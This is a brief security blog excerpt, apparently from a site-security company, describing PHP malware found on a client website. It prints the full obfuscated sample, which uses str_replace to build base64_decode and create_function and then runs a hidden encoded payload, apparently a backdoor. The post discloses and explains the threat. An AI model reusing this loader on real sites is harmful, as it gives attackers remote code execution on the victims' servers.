PHP str_replace to hide malware
We found another interesting piece of PHP-based malware on a client site a few days ago: $exg=”JGMnd9J2NvdW50JzskYTnd0kX0ndNPndT0tJRTtpZihyZXNldCgkndYSk9PSdtandCcgJndiYgJGMondJGEpPjM”; $iyo=”GxhndY2UndoYXJyYndXkoJy9bndXlndx3PVxzXS8nLndCcvXHMvndJyksIGFyndcmF5KCcnLCcrJyk”; $ts = str_replace(“b”,””,”bsbtr_brbepblabcbe”); $fy=”sIGpndvaW4oYXJyYXlfc2xpY2UoJndGEndsJGMoJGEpLTndMpKndSkpKTtlYnd2hvICc8LycuJGsnduJz4nO30=”; $sjb=”peyRrPSndd1nddGU0bndSc7ZWNobyAnPCcnduJGsundJz4nO2ndV2YWwoYmFzZndTY0X2RlY29kZShwcmVnX3Jlc”; $dzy = $ts(“er”, “”, “erberaersereer6er4er_dereercerodere”); $mc = $ts(“y”,””,”ycyryeyaytye_yfyuynctyiyoyn”); $tha = $mc(”, $dzy($ts(“nd”, “”, $exg.$sjb.$iyo.$fy))); $tha(); Can you decode and see what it…